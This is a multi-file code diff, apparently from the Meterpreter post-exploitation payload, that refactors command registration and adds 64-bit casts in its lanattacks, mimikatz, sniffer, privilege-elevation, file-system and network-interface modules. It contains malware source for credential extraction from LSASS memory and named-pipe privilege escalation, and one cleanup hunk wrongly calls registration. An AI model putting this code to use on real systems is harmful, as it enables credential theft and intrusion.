{ EMPTY_DISPATCH_HANDLER },
},
// Get DHCP Log
{ "lanattacks_dhcp_log",
{ request_lanattacks_dhcp_log, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Launch TFTP server
{ "lanattacks_start_tftp",
{ request_lanattacks_start_tftp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Reset TFTP
{ "lanattacks_reset_tftp",
{ request_lanattacks_stop_tftp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Add TFTP file
{ "lanattacks_add_tftp_file",
{ request_lanattacks_add_tftp_file, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Stop TFTP
{ "lanattacks_stop_tftp",
{ request_lanattacks_stop_tftp, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
}; };
/* /*
* Initialize the server extension * Initialize the server extension
*/ */
DWORD __declspec(dllexport) InitServerExtension(Remote *remote){ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) {
DWORD index;
hMetSrv = remote->hMetSrv; hMetSrv = remote->hMetSrv;
for (index = 0; customCommands[index].method; index++) command_register_all( customCommands );
{
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
dhcpserver = createDHCPServer(); dhcpserver = createDHCPServer();
tftpserver = createTFTPServer(); tftpserver = createTFTPServer();
if(tftpserver) if (tftpserver) {
return ERROR_SUCCESS; return ERROR_SUCCESS;
else }
return ERROR_NOT_ENOUGH_MEMORY;
return ERROR_NOT_ENOUGH_MEMORY;
} }
/* /*
@ -233,17 +177,13 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote){
*/ */
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{ {
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
destroyDHCPServer(dhcpserver);
dhcpserver = NULL;
destroyTFTPServer(tftpserver); destroyTFTPServer(tftpserver);
tftpserver = NULL; tftpserver = NULL;
destroyDHCPServer(dhcpserver);
dhcpserver = NULL;
command_deregister_all( customCommands );
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }

@ -88,15 +88,8 @@ DWORD request_custom_command(Remote *remote, Packet *packet)
Command customCommands[] = Command customCommands[] =
{ {
{ "mimikatz_custom_command", COMMAND_REQ( "mimikatz_custom_command", request_custom_command ),
{ request_custom_command, { 0 }, 0 }, COMMAND_TERMINATOR
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
}; };
/* /*
@ -104,14 +97,9 @@ Command customCommands[] =
*/ */
DWORD __declspec(dllexport) InitServerExtension(Remote *remote) DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{ {
DWORD index;
hMetSrv = remote->hMetSrv; hMetSrv = remote->hMetSrv;
for (index = 0; command_register_all( customCommands );
customCommands[index].method;
index++)
command_register(&customCommands[index]);
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
@ -121,12 +109,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/ */
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{ {
DWORD index; command_deregister_all( customCommands );
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }

@ -191,7 +191,7 @@ bool mimikatz::doCommandeKernel(std::wstring &commande)
(*outputStream) << L"DEBUG WriteFile " << endl << (*outputStream) << L"DEBUG WriteFile " << endl <<
L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl; L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl;
*/ */
if(WriteFile(Kmimikatz, commande.c_str(), (commande.size() + 1) * sizeof(wchar_t), &dwReturn, NULL)) if(WriteFile(Kmimikatz, commande.c_str(), (DWORD)((commande.size() + 1) * sizeof(wchar_t)), &dwReturn, NULL))
{ {
/*(*outputStream) << L"\tWriten : " << dwReturn << endl << endl;*/ /*(*outputStream) << L"\tWriten : " << dwReturn << endl << endl;*/

@ -9,7 +9,7 @@ PBYTE * mod_mimikatz_sekurlsa_keys_nt5::g_pRandomKey = NULL, * mod_mimikatz_seku
#ifdef _M_X64 #ifdef _M_X64
BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3}; BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3};
LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + sizeof(long)); LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + (LONG)sizeof(long));
LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long)); LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long));
LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long)); LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long));
LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long)); LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long));

@ -178,7 +178,7 @@ bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key,
HCRYPTPROV hCryptProv = NULL; HCRYPTPROV hCryptProv = NULL;
HCRYPTKEY hKey = NULL; HCRYPTKEY hKey = NULL;
PBYTE buffer = data; PBYTE buffer = data;
DWORD dwWorkingBufferLength = dataSize; DWORD dwWorkingBufferLength = (DWORD)dataSize;
if(destBuffer && destBufferSize >= dataSize) if(destBuffer && destBufferSize >= dataSize)
{ {
@ -195,12 +195,12 @@ bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key,
{ {
if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
{ {
GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, keySize}; GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, (DWORD)keySize};
BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize]; BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize];
RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB)); RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB));
RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize); RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize);
if(CryptImportKey(hCryptProv, myKey, sizeof(GENERICKEY_BLOB) + keySize, 0, CRYPT_EXPORTABLE, &hKey)) if(CryptImportKey(hCryptProv, myKey, (DWORD)(sizeof(GENERICKEY_BLOB) + keySize), 0, CRYPT_EXPORTABLE, &hKey))
{ {
if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // évite les erreurs de parités http://support.microsoft.com/kb/331367/ if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // évite les erreurs de parités http://support.microsoft.com/kb/331367/
retour = (dwWorkingBufferLength == dataSize); retour = (dwWorkingBufferLength == dataSize);

@ -74,7 +74,7 @@ bool mod_memory::searchMemory(const PBYTE adresseBase, const long offsetMaxMin,
{ {
PBYTE addressePattern = NULL; PBYTE addressePattern = NULL;
bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess); bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess);
*offsetPattern = addressePattern - adresseBase; *offsetPattern = (long)(addressePattern - adresseBase);
return resultat; return resultat;
} }

@ -324,7 +324,7 @@ DWORD request_networkpug_start(Remote *remote, Packet *packet)
np->remote = remote; np->remote = remote;
np->pcap = pcap_open_live(interface, MAX_MTU, 1, 1000, errbuf); np->pcap = pcap_open_live(interface, MAX_MTU, 1, 1000, errbuf);
// xxx, add in filter support // xxx, add in filter support
np->thread = thread_create((THREADFUNK) networkpug_thread, np, remote); np->thread = thread_create((THREADFUNK) networkpug_thread, np, remote, NULL);
chops.native.context = np; chops.native.context = np;
chops.native.write = networkpug_channel_write; chops.native.write = networkpug_channel_write;

@ -120,7 +120,7 @@ DWORD elevate_via_service_namedpipe( Remote * remote, Packet * packet )
_snprintf_s( cServiceArgs, sizeof(cServiceArgs), MAX_PATH, "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe ); _snprintf_s( cServiceArgs, sizeof(cServiceArgs), MAX_PATH, "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe );
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote ); pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote, NULL );
if( !pThread ) if( !pThread )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe. thread_create failed", ERROR_INVALID_HANDLE ); BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe. thread_create failed", ERROR_INVALID_HANDLE );
@ -224,7 +224,7 @@ DWORD elevate_via_service_namedpipe2( Remote * remote, Packet * packet )
if( dwTotal != dwServiceLength ) if( dwTotal != dwServiceLength )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. WriteFile hServiceFile failed", ERROR_BAD_LENGTH ); BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. WriteFile hServiceFile failed", ERROR_BAD_LENGTH );
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote ); pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote, NULL );
if( !pThread ) if( !pThread )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. thread_create failed", ERROR_INVALID_HANDLE ); BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. thread_create failed", ERROR_INVALID_HANDLE );

@ -226,11 +226,11 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
entries[0].buffer = (PUCHAR)&aidx; entries[0].buffer = (PUCHAR)&aidx;
entries[1].header.type = TLV_TYPE_STRING; entries[1].header.type = TLV_TYPE_STRING;
entries[1].header.length = strlen(aname)+1; entries[1].header.length = (DWORD)strlen(aname) + 1;
entries[1].buffer = aname; entries[1].buffer = aname;
entries[2].header.type = TLV_TYPE_STRING; entries[2].header.type = TLV_TYPE_STRING;
entries[2].header.length = strlen(adesc)+1; entries[2].header.length = (DWORD)strlen(adesc) + 1;
entries[2].buffer = adesc; entries[2].buffer = adesc;
entries[3].header.type = TLV_TYPE_UINT; entries[3].header.type = TLV_TYPE_UINT;
@ -675,7 +675,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
dprintf("filter applied successfully"); dprintf("filter applied successfully");
} }
j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL); j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL, NULL);
if(! j->thread) { if(! j->thread) {
pcap_close(j->pcap); pcap_close(j->pcap);
break; break;
@ -947,6 +947,9 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
CaptureJob *j; CaptureJob *j;
DWORD result,pcnt,rcnt,i; DWORD result,pcnt,rcnt,i;
#ifdef _WIN64
ULONGLONG thilo;
#endif
DWORD thi, tlo; DWORD thi, tlo;
check_pssdk(); check_pssdk();
@ -1011,11 +1014,23 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
} }
tmp = (unsigned int *)( j->dbuf + rcnt ); tmp = (unsigned int *)( j->dbuf + rcnt );
#ifdef _WIN64
thilo = PktGetId(j->pkts[i]);
thi = (DWORD)(thilo >> 32);
tlo = (DWORD)(thilo & 0xFFFFFFFF);
#else
tlo = PktGetId(j->pkts[i], &thi); tlo = PktGetId(j->pkts[i], &thi);
#endif
*tmp = htonl(thi); tmp++; *tmp = htonl(thi); tmp++;
*tmp = htonl(tlo); tmp++; *tmp = htonl(tlo); tmp++;
#ifdef _WIN64
thilo = PktGetTimeStamp(j->pkts[i]);
thi = (DWORD)(thilo >> 32);
tlo = (DWORD)(thilo & 0xFFFFFFFF);
#else
tlo = PktGetTimeStamp(j->pkts[i], &thi); tlo = PktGetTimeStamp(j->pkts[i], &thi);
#endif
*tmp = htonl(thi); tmp++; *tmp = htonl(thi); tmp++;
*tmp = htonl(tlo); tmp++; *tmp = htonl(tlo); tmp++;
@ -1099,8 +1114,6 @@ Command customCommands[] =
*/ */
DWORD __declspec(dllexport) InitServerExtension(Remote *remote) DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{ {
DWORD index;
#ifdef _WIN32 #ifdef _WIN32
// This handle has to be set before calls to command_register // This handle has to be set before calls to command_register
// otherwise we get obscure crashes! // otherwise we get obscure crashes!
@ -1108,12 +1121,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
#endif #endif
dprintf("[SERVER] Registering command handlers..."); dprintf("[SERVER] Registering command handlers...");
for (index = 0; customCommands[index].method; index++) { command_register_all( customCommands );
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
dprintf("[SERVER] Memory reset of open_captures..."); dprintf("[SERVER] Memory reset of open_captures...");
memset(open_captures, 0, sizeof(open_captures)); memset(open_captures, 0, sizeof(open_captures));
@ -1178,12 +1186,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/ */
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{ {
DWORD index; command_register_all( customCommands );
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
#ifdef _WIN32 #ifdef _WIN32
MgrDestroy(hMgr); MgrDestroy(hMgr);

@ -19,7 +19,7 @@ DWORD request_fs_ls(Remote *remote, Packet *packet)
LPCSTR directory; LPCSTR directory;
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
LPSTR expanded = NULL, tempFile = NULL; LPSTR expanded = NULL, tempFile = NULL;
DWORD tempFileSize = 0; size_t tempFileSize = 0;
LPSTR baseDirectory = NULL; LPSTR baseDirectory = NULL;
struct meterp_stat buf; struct meterp_stat buf;
@ -122,11 +122,12 @@ DWORD request_fs_ls(Remote *remote, Packet *packet)
} }
// Allocate temporary storage to stat the file // Allocate temporary storage to stat the file
if ((!tempFile) || if ((!tempFile) || (tempFileSize < fullSize))
(tempFileSize < fullSize))
{ {
if (tempFile) if (tempFile)
{
free(tempFile); free(tempFile);
}
// No memory means we suck a lot like spoon's mom // No memory means we suck a lot like spoon's mom
if (!(tempFile = (LPSTR)malloc(fullSize))) if (!(tempFile = (LPSTR)malloc(fullSize)))
@ -142,25 +143,28 @@ DWORD request_fs_ls(Remote *remote, Packet *packet)
// Build the full path // Build the full path
if (baseDirectory) if (baseDirectory)
{
#ifdef _WIN32 #ifdef _WIN32
sprintf(tempFile, "%s\\%s", baseDirectory, DF_NAME); sprintf(tempFile, "%s\\%s", baseDirectory, DF_NAME);
#else #else
sprintf(tempFile, "%s/%s", baseDirectory, DF_NAME); sprintf(tempFile, "%s/%s", baseDirectory, DF_NAME);
#endif #endif
}
else else
{
sprintf(tempFile, "%s", DF_NAME); sprintf(tempFile, "%s", DF_NAME);
}
// Add the file name to the response // Add the file name to the response
packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, DF_NAME);
DF_NAME);
// Add the full path // Add the full path
packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, tempFile);
tempFile);
// Stat the file to get more information about it. // Stat the file to get more information about it.
if (fs_stat(tempFile, &buf) >= 0) if (fs_stat(tempFile, &buf) >= 0)
packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, {
sizeof(buf)); packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf));
}
#ifdef _WIN32 #ifdef _WIN32
} while (FindNextFile(ctx, &data)); } while (FindNextFile(ctx, &data));
@ -171,21 +175,30 @@ DWORD request_fs_ls(Remote *remote, Packet *packet)
// Clean up resources // Clean up resources
if (freeDirectory) if (freeDirectory)
{
free(tempDirectory); free(tempDirectory);
}
if (ctx) if (ctx)
{
#ifdef _WIN32 #ifdef _WIN32
FindClose(ctx); FindClose(ctx);
#else #else
closedir(ctx); closedir(ctx);
#endif #endif
}
} }
if (expanded) if (expanded)
{
free(expanded); free(expanded);
}
out: out:
if (baseDirectory) if (baseDirectory)
{
free(baseDirectory); free(baseDirectory);
}
// Set the result and transmit the response // Set the result and transmit the response
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

@ -23,10 +23,10 @@ static DWORD file_channel_write(Channel *channel, Packet *request,
{ {
FileContext *ctx = (FileContext *)context; FileContext *ctx = (FileContext *)context;
DWORD result= ERROR_SUCCESS; DWORD result= ERROR_SUCCESS;
size_t written = 0; DWORD written = 0;
// Write a chunk // Write a chunk
if ((written = fwrite(buffer, 1, bufferSize, ctx->fd)) <= 0) if ((written = (DWORD)fwrite(buffer, 1, bufferSize, ctx->fd)) <= 0)
{ {
written = 0; written = 0;
result = GetLastError(); result = GetLastError();
@ -34,7 +34,9 @@ static DWORD file_channel_write(Channel *channel, Packet *request,
// Set bytesWritten // Set bytesWritten
if (bytesWritten) if (bytesWritten)
{
*bytesWritten = written; *bytesWritten = written;
}
return result; return result;
} }
@ -62,10 +64,10 @@ static DWORD file_channel_read(Channel *channel, Packet *request,
{ {
FileContext *ctx = (FileContext *)context; FileContext *ctx = (FileContext *)context;
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
size_t bytes = 0; DWORD bytes = 0;
// Read a chunk // Read a chunk
if ((bytes= fread(buffer, 1, bufferSize, ctx->fd)) <= 0) if ((bytes= (DWORD)fread(buffer, 1, bufferSize, ctx->fd)) <= 0)
{ {
bytes = 0; bytes = 0;
result = GetLastError(); result = GetLastError();

@ -133,12 +133,18 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
// when using newer structs. // when using newer structs.
IP_ADAPTER_PREFIX_XP *pPrefix = NULL; IP_ADAPTER_PREFIX_XP *pPrefix = NULL;
// We can't rely on the `Length` parameter of the IP_ADAPTER_PREFIX_XP struct
// to tell us if we're on Vista or not because it always comes out at 48 bytes
// so we have to check the version manually.
OSVERSIONINFOEX v;
do do
{ {
gaa = (DWORD (WINAPI *)(DWORD,DWORD,void*,void*,void*))GetProcAddress( gaa = (DWORD (WINAPI *)(DWORD,DWORD,void*,void*,void*))GetProcAddress(
GetModuleHandle("iphlpapi"), "GetAdaptersAddresses" GetModuleHandle("iphlpapi"), "GetAdaptersAddresses"
); );
if (!gaa) { if (!gaa) {
dprintf( "[INTERFACE] No 'GetAdaptersAddresses'. Falling back on get_interfaces_windows_mib" );
result = get_interfaces_windows_mib(remote, response); result = get_interfaces_windows_mib(remote, response);
break; break;
} }
@ -155,42 +161,57 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
break; break;
} }
dprintf( "[INTERFACE] pAdapters->Length = %d", pAdapters->Length );
// According to http://msdn.microsoft.com/en-us/library/windows/desktop/aa366058(v=vs.85).aspx
// the PIP_ADAPTER_PREFIX doesn't exist prior to XP SP1. We check for this via the `Length`
// value, which is 72 in XP without an SP, but 144 in later versions.
if (pAdapters->Length <= 72) {
dprintf( "[INTERFACE] PIP_ADAPTER_PREFIX is missing" );
result = get_interfaces_windows_mib(remote, response);
break;
}
// we'll need to know the version later on
memset( &v, 0, sizeof(v) );
v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx( (LPOSVERSIONINFO)&v );
// Enumerate the entries // Enumerate the entries
for (pCurr = pAdapters; pCurr; pCurr = pCurr->Next) for( pCurr = pAdapters; pCurr; pCurr = pCurr->Next )
{ {
// Save the first prefix for later in case we don't have an OnLinkPrefixLength
pPrefix = pCurr->FirstPrefix;
tlv_cnt = 0; tlv_cnt = 0;
interface_index_bigendian = htonl(pCurr->IfIndex); dprintf( "[INTERFACE] Adding index: %u", pCurr->IfIndex );
interface_index_bigendian = htonl(pCurr->IfIndex);
entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.length = sizeof(DWORD);
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX; entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX;
entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian; entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian;
tlv_cnt++; tlv_cnt++;
dprintf( "[INTERFACE] Adding MAC" );
entries[tlv_cnt].header.length = pCurr->PhysicalAddressLength; entries[tlv_cnt].header.length = pCurr->PhysicalAddressLength;
entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR; entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR;
entries[tlv_cnt].buffer = (PUCHAR)pCurr->PhysicalAddress; entries[tlv_cnt].buffer = (PUCHAR)pCurr->PhysicalAddress;
tlv_cnt++; tlv_cnt++;
dprintf( "[INTERFACE] Adding Description" );
entries[tlv_cnt].header.length = (DWORD)wcslen(pCurr->Description)*2 + 1; entries[tlv_cnt].header.length = (DWORD)wcslen(pCurr->Description)*2 + 1;
entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME; entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME;
entries[tlv_cnt].buffer = (PUCHAR)pCurr->Description; entries[tlv_cnt].buffer = (PUCHAR)pCurr->Description;
tlv_cnt++; tlv_cnt++;
mtu_bigendian = htonl(pCurr->Mtu); dprintf( "[INTERFACE] Adding MTU: %u", pCurr->Mtu );
mtu_bigendian = htonl(pCurr->Mtu);
entries[tlv_cnt].header.length = sizeof(DWORD); entries[tlv_cnt].header.length = sizeof(DWORD);
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU; entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU;
entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian; entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian;
tlv_cnt++; tlv_cnt++;
// According to http://msdn.microsoft.com/en-us/library/windows/desktop/aa366058(v=vs.85).aspx for (pAddr = (IP_ADAPTER_UNICAST_ADDRESS_LH*)pCurr->FirstUnicastAddress;
// the PIP_ADAPTER_PREFIX doesn't exist prior to XP SP1. We check for this via the `Length` pAddr; pAddr = pAddr->Next)
// value, which is 72 in XP without an SP, but 144 in later versions.
if (pCurr->Length > 72) {
// Save the first prefix for later in case we don't have an OnLinkPrefixLength
pPrefix = pCurr->FirstPrefix;
}
for (pAddr = (void*)pCurr->FirstUnicastAddress; pAddr; pAddr = (void*)pAddr->Next)
{ {
sockaddr = pAddr->Address.lpSockaddr; sockaddr = pAddr->Address.lpSockaddr;
if (AF_INET != sockaddr->sa_family && AF_INET6 != sockaddr->sa_family) { if (AF_INET != sockaddr->sa_family && AF_INET6 != sockaddr->sa_family) {
@ -202,33 +223,26 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
// for scope_id, one for netmask. Go ahead and allocate enough // for scope_id, one for netmask. Go ahead and allocate enough
// room for all of them. // room for all of them.
if (allocd_entries < tlv_cnt+3) { if (allocd_entries < tlv_cnt+3) {
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3)); entries = (Tlv*)realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
allocd_entries += 3; allocd_entries += 3;
} }
if (pAddr->Length > 44) { if (v.dwMajorVersion >= 6) {
// Then this is Vista+ and the OnLinkPrefixLength member // Then this is Vista+ and the OnLinkPrefixLength member
// will be populated // will be populated
dprintf( "[INTERFACES] >= Vista, using prefix: %x", pAddr->OnLinkPrefixLength );
prefixes[prefixes_cnt] = htonl(pAddr->OnLinkPrefixLength); prefixes[prefixes_cnt] = htonl(pAddr->OnLinkPrefixLength);
} }
else if( pPrefix ) {
if (pPrefix && 0 == prefixes[prefixes_cnt] ) { dprintf( "[INTERFACES] < Vista, using prefix: %x", pPrefix->PrefixLength );
// Otherwise, we have to walk the FirstPrefix linked list
prefixes[prefixes_cnt] = htonl(pPrefix->PrefixLength); prefixes[prefixes_cnt] = htonl(pPrefix->PrefixLength);
pPrefix = pPrefix->Next;
} else { } else {
// This is XP SP0 and as far as I can tell, we have no way dprintf( "[INTERFACES] < Vista, no prefix" );
// of determining the netmask short of bailing on prefixes[prefixes_cnt] = 0;
// this method and falling back to MIB, which doesn't
// return IPv6 addresses. Older versions (e.g. NT4, 2k)
// don't have GetAdapterAddresses, so they will have fallen
// through earlier to the MIB implementation.
free(entries);
free(pAdapters);
return get_interfaces_windows_mib(remote, response);
} }
if (prefixes[prefixes_cnt]) { if (prefixes[prefixes_cnt]) {
dprintf( "[INTERFACE] Adding Prefix: %x", prefixes[prefixes_cnt] );
entries[tlv_cnt].header.length = 4; entries[tlv_cnt].header.length = 4;
entries[tlv_cnt].header.type = TLV_TYPE_IP_PREFIX; entries[tlv_cnt].header.type = TLV_TYPE_IP_PREFIX;
entries[tlv_cnt].buffer = (PUCHAR)&prefixes[prefixes_cnt]; entries[tlv_cnt].buffer = (PUCHAR)&prefixes[prefixes_cnt];
@ -237,12 +251,13 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
} }
if (sockaddr->sa_family == AF_INET) { if (sockaddr->sa_family == AF_INET) {
dprintf( "[INTERFACE] Adding IPv4 Address: %x", ((struct sockaddr_in *)sockaddr)->sin_addr );
entries[tlv_cnt].header.length = 4; entries[tlv_cnt].header.length = 4;
entries[tlv_cnt].header.type = TLV_TYPE_IP; entries[tlv_cnt].header.type = TLV_TYPE_IP;
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr); entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr);
tlv_cnt++; tlv_cnt++;
} else { } else {
dprintf( "[INTERFACE] Adding IPv6 Address" );
entries[tlv_cnt].header.length = 16; entries[tlv_cnt].header.length = 16;
entries[tlv_cnt].header.type = TLV_TYPE_IP; entries[tlv_cnt].header.type = TLV_TYPE_IP;
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr); entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr);

@ -0,0 +1,86 @@
#include "precomp.h"
#ifdef _WIN32
typedef struct
{
BOOL fAutoDetect;
LPWSTR lpszAutoConfigUrl;
LPWSTR lpszProxy;
LPWSTR lpszProxyBypass;
} WINHTTP_CURRENT_USER_IE_PROXY_CONFIG;
typedef BOOL (WINAPI * PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER)(
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG *pProxyConfig
);
#endif
/*!
* @brief Get the current Internet Explorer proxy configuration.
* @param remote Pointer to the \c Remote instance making the call.
* @param packet Pointer to the \c Request packet.
* @return Indication of success or failure.
* @remark This function will only get the proxy configuration that is
* available through IE. This also happens to be the same as that
* which Chrome uses, so you get that for free. But other browsers
* such as Firefox, Safari, Opera, etc. which have their own
* settings are not supported by this function.
*/
DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_NOT_SUPPORTED;
Packet *response = packet_create_response(packet);
#ifdef _WIN32
HMODULE hWinHttp = NULL;
PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER pProxyFun = NULL;
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG proxyConfig;
do
{
if ((hWinHttp = LoadLibraryA("Winhttp.dll")) == NULL) {
dprintf("[PROXY] Unable to load Winhttp.dll");
break;
}
if ((pProxyFun = (PWINHTTPGETIEPROXYCONFIGFORCURRENTUSER)GetProcAddress(hWinHttp, "WinHttpGetIEProxyConfigForCurrentUser")) == NULL) {
dprintf("[PROXY] Unable to find WinHttpGetIEProxyConfigForCurrentUser in Winhttp.dll");
break;
}
if (!pProxyFun(&proxyConfig)) {
BREAK_ON_ERROR("[PROXY] Failed to extract proxy configuration");
break;
}
packet_add_tlv_bool(response, TLV_TYPE_PROXY_CFG_AUTODETECT, proxyConfig.fAutoDetect);
if (proxyConfig.lpszAutoConfigUrl) {
